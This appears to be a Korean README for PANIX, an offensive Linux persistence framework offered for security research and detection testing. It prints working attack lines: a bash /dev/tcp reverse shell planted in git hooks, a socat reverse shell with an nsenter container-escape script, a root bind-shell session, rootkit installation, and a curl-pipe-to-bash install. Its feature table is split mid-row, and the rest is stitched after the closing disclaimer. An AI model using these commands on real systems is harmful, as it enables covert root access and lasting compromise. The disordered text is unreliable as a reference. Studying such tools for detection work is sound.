
보안 연구 및 탐지 엔지니어링을 위한 맞춤형 Linux 지속성 도구

PANIX는 보안 연구원, 탐지 엔지니어, 침투 테스터, CTF 애호가 등을 위해 설계된 강력하고 모듈화된 고도로 사용자 지정 가능한 Linux 지속성 프레임워크입니다. 다용성을 염두에 두고 제작된 PANIX는 기능성을 강조하며, 다양한 지속성 기법을 이해하고 구현하는 데 필수적인 도구입니다.

PANIX는 Linux 지속성 메커니즘을 시뮬레이션하고 연구하기 위한 다양한 기능 모음을 제공합니다.
| 기능 | 설명 | Root | User |
|---|---|---|---|
| At Job 지속성 | 시스템 작업에 항목을 추가하여 지속성을 구현합니다. | ✅ | ✅ |
| 인증 키 | SSH 접근을 위해 authorized_keys 파일에 공개 키를 추가합니다. | ✅ | ✅ |
| 백도어 사용자 | UID=0(루트 권한)을 가진 백도어 사용자를 생성합니다. | ✅ | ❌ |
| 백도어 시스템 사용자 | 시스템 사용자에 백도어를 설치합니다(news/nobody로 SSH 접근). | ✅ | ❌ |
| 백도어 처리된 /etc/passwd | 악성 사용자 항목을 /etc/passwd에 직접 추가합니다. | ✅ | ❌ |
| 백도어 처리된 /etc/init.d | SysVinit(/etc/init.d)을 통해 지속성을 확립합니다. | ✅ | ❌ |
| 백도어 처리된 /etc/rc.local | 런 컨트롤(/etc/rc.local)을 통해 지속성을 확립합니다. | ✅ | ❌ |
| 바인드 셸 | 원격 접근을 위해 사전 컴파일된/LOLBin 바인드 셸을 실행합니다. | ✅ | ✅ |
| Capabilities 백도어 | 바이너리에 특정 capabilities를 추가하여 지속성을 유지합니다. | ✅ | ❌ |
| Cron 작업 지속성 | 재부팅 후에도 지속성을 보장하도록 cron 작업을 설정합니다. | ✅ | ✅ |
| 사용자 생성 | 시스템에 새 사용자 계정을 생성합니다. | ✅ | ❌ |
| D-Bus 백도어 | 루트 리버스 셸 접근을 위한 D-Bus 서비스를 생성합니다. | ✅ | ❌ |
| Diamorphine Rootkit | Diamorphine Loadable Kernel Module Rootkit을 설치합니다. | ✅ | ❌ |
| Initramfs 지속성 | 재부팅 시 initramfs에 UID=0 백도어 사용자를 주입합니다. | ✅ | ❌ |
| Git 지속성 | Git 저장소 내에서 지속성을 위해 Git 훅(hooks) 또는 페이저(pagers)를 활용합니다. | ✅ | ✅ |
| Generator 지속성 | systemd 생성기(generators)를 활용하여 지속적인 서비스를 생성합니다. | ✅ | ❌ |
| GRUB 백도어 | 부팅 시 백도어를 실행하도록 GRUB을 조작합니다. | ✅ | ❌ |
| 악성 컨테이너 |

PANIX는 다양한 Linux 배포판에서 포괄적인 지원을 제공합니다.
사용자 지정 또는 오래된 Linux 배포판은 구성이 다르거나 특정 기능이 없어 테스트되지 않은 버전에서 메커니즘이 실패할 수 있습니다. 기본 명령이 실패하면 대부분의 기능에서 사용할 수 있는 --custom 플래그를 사용하여 환경에 맞게 경로와 명령을 조정하세요. 그래도 문제가 해결되지 않으면 스크립트를 검토하고 필요에 맞게 수정하십시오.
새 기능, 업데이트 또는 아이디어에 대한 풀 리퀘스트나 이슈를 통한 기여는 언제나 환영합니다!

PANIX 저장소는 모듈성, 유지보수성, 확장 용이성을 염두에 두고 설계되었습니다. 각 지속성 메커니즘에는 설정(setup) 및 복원(revert) 스크립트가 포함되어 있어 관리와 제거가 간편합니다.```plaintext PANIX/ ├── main.sh # Core logic and argument parsing. ├── modules/ # Persistence mechanism scripts. │ ├── common.sh # Shared functions. │ ├── setup_*.sh # Setup scripts. │ └── revert/ # Revert scripts. ├── build.sh # Builds the distributable script. ├── panix.sh # Final distributable script. └── README.md # Documentation.
## 주요 이점
- **설정 및 복구 페어링(Paired Setup & Revert)**: 모든 `setup_*.sh`에는 대응하는 `revert_*.sh`가 있어 지속성 메커니즘을 쉽게 제거할 수 있습니다.
- **모듈식 설계**: 핵심 스크립트에 영향을 주지 않고 기존 모듈을 수정하거나 새 모듈을 쉽게 추가할 수 있습니다.
- **간편한 확장**: 새 기능을 추가하려면:
1. `modules/`에 새 `setup_*.sh`를 생성합니다.
2. `modules/revert/`에 대응하는 `revert_*.sh`를 추가합니다.
3. `main.sh`를 업데이트하여 새 스크립트를 포함시킵니다.
4. `common.sh`를 업데이트하여 도움말 메뉴에 모듈을 포함시킵니다.
4. `build.sh`를 실행하여 업데이트된 `panix.sh`를 생성합니다.

# 시작하기
PANIX를 시작하고 실행하는 것은 [릴리스 페이지](https://github.com/Aegrah/PANIX/releases/tag/panix-v2.1.0)에서 스크립트를 다운로드하여 실행하는 것만큼 간단합니다:```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh | bash
또는 다운로드하여 수동으로 실행하십시오:```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -o panix.sh wget https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh -O panix.sh
chmod +x panix.sh ./panix.sh
스크립트를 실행하면 현재 사용자가 가진 권한에 따라 `root` 또는 `user` 도움말 메뉴가 표시됩니다.```
panix@panix-demo:~$ sudo ./panix.sh
__
|__) /\ |\ | | \_/
| /~~\ | \| | / \
@RFGroenewoud
Root User Options:
--at At job persistence
--authorized-keys Add public key to authorized keys
--backdoor-user Create backdoor user
--backdoor-system-user Create backdoor system user
--bind-shell Execute backgrounded bind shell
--cap Add capabilities persistence
--create-user Create a new user
--cron Cron job persistence
--dbus D-Bus service persistence
--generator Generator persistence
--git Git hook/pager persistence
--grub GRUB bootloader persistence
--initd SysV Init (init.d) persistence
--initramfs Initramfs persistence
--ld-preload LD_PRELOAD backdoor persistence"
--lkm Loadable Kernel Module (LKM) persistence
--malicious-container Docker container with host escape"
--malicious-package Build and Install a package for persistence (DPKG/RPM)
--motd Message Of The Day (MOTD) persistence (not available on RHEL derivatives)
--network-manager NetworkManager dispatcher script persistence
--package-manager Package Manager persistence (APT/YUM/DNF)
--pam Pluggable Authentication Module (PAM) persistence (backdoored PAM & pam_exec)
--passwd-user Add user to /etc/passwd directly
--password-change Change user password
--polkit Allow pkexec as any user through Polkit
--rc-local Run Control (rc.local) persistence
--reverse-shell Reverse shell persistence (supports multiple LOLBins)"
--rootkit Diamorphine (LKM) rootkit persistence
--shell-profile Shell profile persistence
--ssh-key SSH key persistence
--sudoers Sudoers persistence
--suid SUID persistence
--system-binary System binary persistence
--systemd Systemd service persistence
--udev Udev (driver) persistence
--web-shell Web shell persistence (PHP/Python)
--xdg XDG autostart persistence
--revert Revert changes made by PANIX' default options
--mitre-matrix Display the MITRE ATT&CK Matrix for PANIX
--quiet (-q) Quiet mode (no banner)

이 스크립트는 대체로 설명 없이도 이해할 수 있지만, 이 섹션에서는 PANIX를 사용하는 몇 가지 예제를 보여드리겠습니다.
모든 지속성 메커니즘에는 별도의 도움말 메뉴가 있습니다:``` ruben@ubuntu2204:~$ sudo ./panix.sh --udev --help Usage: ./panix.sh --udev [OPTIONS] --examples Display command examples -default Use default udev settings --ip Specify IP address --port Specify port number --sedexp | --at | --cron | --systemd Specify the mechanism to use --custom Use custom udev settings --command Specify custom command --path Specify custom path --help|-h Show this help message
모든 지속성 메커니즘에는 기본 및 사용자 지정 예시를 보여주는 `--examples` 플래그도 있어, 자신에게 맞는 명령을 구성하는 데 도움이 됩니다.```
ruben@ubuntu2204:~$ ./panix.sh --git --examples
Examples:
--default:
./panix.sh --git --default --ip 10.10.10.10 --port 1337 --hook|--pager
--custom:
./panix.sh --git --custom --command "(nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 &) &" --path "gitdir/.git/hooks/pre-commit" --hook
./panix.sh --git --custom --command "nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 & ${PAGER:-less}" --path "~/.gitconfig --pager"
대부분의 지속성 메커니즘은 매우 단순하며, (바라건대) 많은 설명을 필요로 하지 않을 것입니다. 예를 들어, systemd 지속성은 다음을 실행하여 간단히 설정할 수 있습니다:``` ruben@ubuntu2204:~$ sudo ./panix.sh --systemd --default --ip 10.10.10.10 --port 1337 Service file created successfully! Timer file created successfully! Created symlink /etc/systemd/system/timers.target.wants/dbus-org.freedesktop.resolved.timer → /usr/local/lib/systemd/system/dbus-org.freedesktop.resolved.timer. [+] Systemd service persistence established!
지속성 메커니즘을 설정할 때, 스크립트는 작동 여부를 알려 주며, 지속성 메커니즘을 사용하는 데 필요한 정보가 있는 경우 추가 정보가 제공됩니다. 예를 들어 bind shell 메커니즘:```
ruben@ubuntu2204:~$ sudo ./panix.sh --bind-shell --default --architecture x64
[+] Bind shell binary /tmp/bd64 created and executed in the background.
[+] The bind shell is listening on port 9001.
[+] To interact with it from a different system, use: nc -nv <IP> 9001
[+] Bind shell persistence established!
바인드 셸과 상호작용할 수 있게 해줍니다:``` ❯ nc -nv 192.168.211.130 9001 (UNKNOWN) [192.168.211.130] 9001 (?) open whoami root
내장된 루트 호스트 탈출 기능이 포함된 Docker 지속성 메커니즘과 같은 추가 내장 기능이 있는 메커니즘도 마찬가지입니다:```
ruben@ubuntu2204:~$ sudo ./panix.sh --malicious-container --ip 192.168.211.131 --port 330
[+] Building 10.4s (9/9) FINISHED docker:default
=> [internal] load build definition from Dockerfile 0.0s
=> => transferring dockerfile: 722B 0.0s
=> [internal] load metadata for docker.io/library/alpine:latest 2.1s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [1/5] FROM docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.8s
=> => resolve docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 0.0s
=> => sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 1.85kB / 1.85kB 0.0s
=> => sha256:dabf91b69c191a1a0a1628fd6bdd029c0c4018041c7f052870bb13c5a222ae76 528B / 528B 0.0s
=> => sha256:a606584aa9aa875552092ec9e1d62cb98d486f51f389609914039aabd9414687 1.47kB / 1.47kB 0.0s
=> => sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 3.62MB / 3.62MB 0.4s
=> => extracting sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 0.2s
=> [2/5] RUN apk add --no-cache bash socat sudo util-linux procps 4.4s
=> [3/5] RUN adduser -D lowprivuser 0.6s
=> [4/5] RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh && echo 'while true; do /bin/bash -c "socat exec:\"/bin/bash\",pty,stderr,setsid,sigint,sane tcp:192.168.211.131:330" 0.8s
=> [5/5] RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh && echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' >> /usr/local/bin/escape.sh && chmod +x /usr/local/bin/escape.sh && ec 0.8s
=> exporting to image 0.6s
=> => exporting layers 0.6s
=> => writing image sha256:b36eb0d13ee1a0c57c3e6a1ee0255ef474986f44d65b177c539b2ffb1d248790 0.0s
=> => naming to docker.io/library/malicious-container 0.0s
86ce6b00e872bb8c21d0dae21e747e830bb70b44ab7946558e563bf7f4b626ef
[+] Persistence through malicious Docker container complete.
[+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'.
컨테이너에서 탈출하고 호스트에 접근하는 방법을 정확히 보여줍니다.``` ❯ nc -nvlp 330 listening on [any] 330 ... connect to [192.168.211.131] from (UNKNOWN) [192.168.211.130] 43400 86ce6b00e872:/$ /usr/local/bin/escape.sh /usr/local/bin/escape.sh root@ubuntu2204:~#
## Revert Mechanism
PANIX는 `--revert` 명령을 통해 자신이 만든 변경 사항을 정리할 수 있습니다. 개별 모듈 모두에 대해:```
ruben@ubuntu2204:~$ sudo ./panix.sh --revert rootkit
######################### [+] Reverting rootkit module... #########################
[+] Sending 'kill -63 0' to unload the rootkit module...
[+] Signal sent successfully.
[+] Identifying loaded rootkit kernel modules in /dev/shm/.rk...
[+] Unloading rootkit rkit...
[+] Kernel module 'rkit' unloaded successfully.
[+] Rootkit rkit unloaded successfully.
[+] Removing kernel module files from /dev/shm/.rk...
[+] Removed file: /dev/shm/.rk/restore_rkit.ko
[+] Removed directory: /dev/shm/.rk
[+] Removing downloaded files in /tmp...
[-] Directory not found: /tmp/diamorphine
[-] File not found: /tmp/diamorphine.zip
[+] Removed file: /tmp/diamorphine.tar
[-] Directory not found: /tmp/Diamorphine.git
[+] Reloading kernel modules...
[+] Kernel modules reloaded successfully.
그리고 모든 모듈의 경우:``` ruben@ubuntu2204:~$ sudo ./panix.sh --revert all
[+] Running full reversion with --revert-all... [+] Reverting all modules...
######################### [+] Reverting revert_at... #########################
Error: 'at' binary is not present. Cannot revert 'at' jobs. [-] Failed to revert revert_at. Exit Code: 1
######################### [+] Reverting revert_authorized_keys... #########################
[-] Backup file /root/.ssh/authorized_keys.bak not found. No changes made. [+] revert_authorized_keys reverted successfully.
######################### [+] Reverting revert_backdoor_user... #########################
[+] No backdoor users found. [+] revert_backdoor_user reverted successfully.
######################### [+] Reverting revert_bind_shell... #########################
[+] Searching for bind shell processes and killing them if present... [+] revert_bind_shell reverted successfully.
[...]
[+] Reversion of all modules complete.
## MITRE ATT&CK Matrix
PANIX에는 사용 가능한 기술 및 하위 기술을 표시하는 MITRE ATT&CK 매트릭스가 내장되어 있습니다.```
ruben@ubuntu2204:~$ ./panix.sh --mitre-matrix
MITRE ATT&CK Matrix - Persistence Techniques Supported by PANIX
Persistence Method Technique Name Technique ID Sub-technique Name Sub-technique ID URL
------------------- -------------- ------------- ----------------- --------------- ---------------------------------------------
--at Scheduled Task T1053 At T1053.002 https://attack.mitre.org/techniques/T1053/002
--authorized-keys Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--backdoor-user Create Account T1136 Local Account T1136.001 https://attack.mitre.org/techniques/T1136/001
--backdoor-system-user Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--bind-shell Command and Scripting Interpreter T1059 Unix Shell T1059.004 https://attack.mitre.org/techniques/T1059/004
--cap Abuse Elevation Control Mechanism T1548 N/A N/A https://attack.mitre.org/techniques/T1548
--create-user Create Account T1136 Local Account T1136.001 https://attack.mitre.org/techniques/T1136/001
--cron Scheduled Task T1053 Cron T1053.003 https://attack.mitre.org/techniques/T1053/003
--dbus Create or Modify System Process T1543 N/A N/A https://attack.mitre.org/techniques/T1543
--generator Create or Modify System Process T1543 Systemd Service T1543.002 https://attack.mitre.org/techniques/T1543/002
--git Event Triggered Execution T1546 N/A N/A https://attack.mitre.org/techniques/T1546
--grub Pre-OS Boot T1542 N/A N/A https://attack.mitre.org/techniques/T1542
--initd Boot or Logon Initialization Scripts T1037 N/A N/A https://attack.mitre.org/techniques/T1037
--initramfs Pre-OS Boot T1542 N/A N/A https://attack.mitre.org/techniques/T1542
--ld-preload Hijack Execution Flow T1574 Dynamic Linker Hijacking T1574.006 https://attack.mitre.org/techniques/T1574/006
--lkm Boot or Logon Autostart Execution T1547 Kernel Modules and Extensions T1547.006 https://attack.mitre.org/techniques/T1547/006
--malicious-container Escape to Host T1610 N/A N/A https://attack.mitre.org/techniques/T1610
--malicious-package Event Triggered Execution T1546 Installer Packages T1546.016 https://attack.mitre.org/techniques/T1546/016
--motd Boot or Logon Initialization Scripts T1037 N/A N/A https://attack.mitre.org/techniques/T1037
--network-manager Event Triggered Execution T1546 N/A N/A https://attack.mitre.org/techniques/T1546
--package-manager Event Triggered Execution T1546 Installer Packages T1546.016 https://attack.mitre.org/techniques/T1546/016
--pam Modify Authentication Process T1556 Pluggable Authentication Modules T1556.003 https://attack.mitre.org/techniques/T1556/003
--passwd-user Account Manipulation T1098 N/A N/A https://attack.mitre.org/techniques/T1098
--password-change Account Manipulation T1098 N/A N/A https://attack.mitre.org/techniques/T1098
--polkit Modify Authentication Process T1556 N/A N/A https://attack.mitre.org/techniques/T1556
--rc-local Boot or Logon Initialization Scripts T1037 RC Scripts T1037.004 https://attack.mitre.org/techniques/T1037/004
--reverse-shell Command and Scripting Interpreter T1059 Unix Shell T1059.004 https://attack.mitre.org/techniques/T1059/004
--rootkit Rootkit T1014 N/A N/A https://attack.mitre.org/techniques/T1014
--shell-profile Event Triggered Execution T1546 Unix Shell Configuration Modification T1546.004 https://attack.mitre.org/techniques/T1546/004
--ssh-key Account Manipulation T1098 SSH Authorized Keys T1098.004 https://attack.mitre.org/techniques/T1098/004
--sudoers Abuse Elevation Control Mechanism T1548 Sudo and Sudo Caching T1548.003 https://attack.mitre.org/techniques/T1548/003
--suid Abuse Elevation Control Mechanism T1548 Setuid and Setgid T1548.001 https://attack.mitre.org/techniques/T1548/001
--system-binary Compromise Host Software Binary T1554 N/A N/A https://attack.mitre.org/techniques/T1554
--systemd Create or Modify System Process T1543 Systemd Service T1543.002 https://attack.mitre.org/techniques/T1543/002
--udev Event Triggered Execution T1546 Udev Rules T1546.017 https://attack.mitre.org/techniques/T1546/017
--web-shell Server Software Component T1505 Web Shell T1505.003 https://attack.mitre.org/techniques/T1505/003
--xdg Boot or Logon Autostart Execution T1547 XDG Autostart Entries T1547.013 https://attack.mitre.org/techniques/T1547/013
Legend:
Technique: High-level MITRE ATT&CK technique.
Sub-Technique: Specific sub-technique under a high-level technique.
N/A: No specific sub-technique defined for this method.
URL: Link to the official MITRE ATT&CK page for further details.

PANIX가 활용된 게시물:
(Linux) 보안 연구에 대한 업데이트를 확인하려면 제 소셜 미디어를 자유롭게 방문하세요.

PANIX를 공유하면 다른 사람들이 보안 태세를 테스트하고 개선하는 데 도움을 줄 수 있으며, Linux 보안에서 새로운 탐지 기능 개발을 지원할 수 있습니다.

PANIX는 승인된 보안 테스트 및 연구 목적으로만 제작되었습니다. 악의적인 활동을 위한 이 도구의 오용은 용납되지 않으며 전적으로 사용자의 책임입니다. PANIX를 사용함으로써 귀하는 자신의 행동에 책임이 있음에 동의하게 됩니다. 그냥 멍청한 짓은 하지 마세요.
| 호스트 탈출(host escape)을 위해 설계된 Docker 컨테이너를 배포합니다. |
| ✅ |
| ✅ |
| 악성 패키지 | 지속성을 위해 DPKG/RPM 패키지를 설치합니다. | ✅ | ❌ |
| NetworkManager | 네트워크 동작 시 지속성을 위해 디스패처(dispatcher) 스크립트를 설치합니다. | ✅ | ❌ |
| LD_PRELOAD 백도어 | 지속성을 위해 LD_PRELOAD를 사용하여 악성 라이브러리를 주입합니다. | ✅ | ❌ |
| LKM 백도어 | 지속성을 유지하기 위해 로더블 커널 모듈(LKM)을 로드합니다. | ✅ | ❌ |
| MOTD 백도어 | 오늘의 메시지(Message of the Day, MOTD)를 변경하여 지속성을 확립합니다. | ✅ | ❌ |
| 패키지 매니저 | 사용 시 지속성을 확립하기 위해 APT/YUM/DNF를 조작합니다. | ✅ | ❌ |
| PAM 지속성 | 악성 모듈 또는 pam_exec을 사용하여 PAM 백도어를 설치합니다. | ✅ | ❌ |
| 비밀번호 변경 | 백도어 계정을 보호하기 위해 사용자 비밀번호를 변경합니다. | ✅ | ❌ |
| Polkit 백도어 | 과도하게 허용적인 Polkit 구성 백도어를 생성합니다. | ✅ | ❌ |
| 리버스 셸 | 여러 LOLBin을 지원하는 리버스 셸을 구축합니다. | ✅ | ✅ |
| 셸 프로필 지속성 | 사용자 로그인 시 스크립트를 실행하도록 셸 프로필을 수정합니다. | ✅ | ✅ |
| SSH 키 지속성 | SSH를 통한 지속적인 접근을 유지하기 위해 SSH 키를 조작합니다. | ✅ | ✅ |
| Sudoers 백도어 | 승격된 권한을 부여하기 위해 /etc/sudoers 파일을 변경합니다. | ✅ | ❌ |
| SUID 백도어 | SUID 비트를 설정하여 바이너리에 백도어를 설치합니다. | ✅ | ❌ |
| 시스템 바이너리 백도어 | 백도어 기능을 포함하도록 시스템 바이너리를 래핑합니다. | ✅ | ❌ |
| Systemd 서비스 | 재부팅 시 지속성을 보장하는 systemd 서비스를 생성합니다. | ✅ | ✅ |
| Udev 지속성 | 하드웨어 상호 작용 수준에서 지속성을 위해 드라이버를 활용합니다. | ✅ | ❌ |
| 웹 셸 지속성 | 웹 인터페이스를 통한 원격 접근을 위해 웹 서버를 배포합니다. | ✅ | ✅ |
| XDG 자동 시작 | 사용자 로그인 시 지속성을 위해 XDG 자동 시작 디렉터리를 사용합니다. | ✅ | ✅ |
| 배포판 | 지원 | 테스트된 버전 |
|---|
| Debian | ✅ | Debian 11 및 12 |
| Ubuntu | ✅ | Ubuntu 22.04 (Diamorphine 사용 불가) |
| RHEL | ✅ | RHEL 9 (MOTD 및 Pre-OS Boot 기법 사용 불가) |
| CentOS | ✅ | CentOS Stream 9 및 7 (MOTD 및 Pre-OS Boot 기법 사용 불가) |
| Fedora | ✅ | 완전히 테스트되지 않음 |
| Arch Linux | ✅ | 완전히 테스트되지 않음 |
| OpenSUSE | ✅ | 완전히 테스트되지 않음 |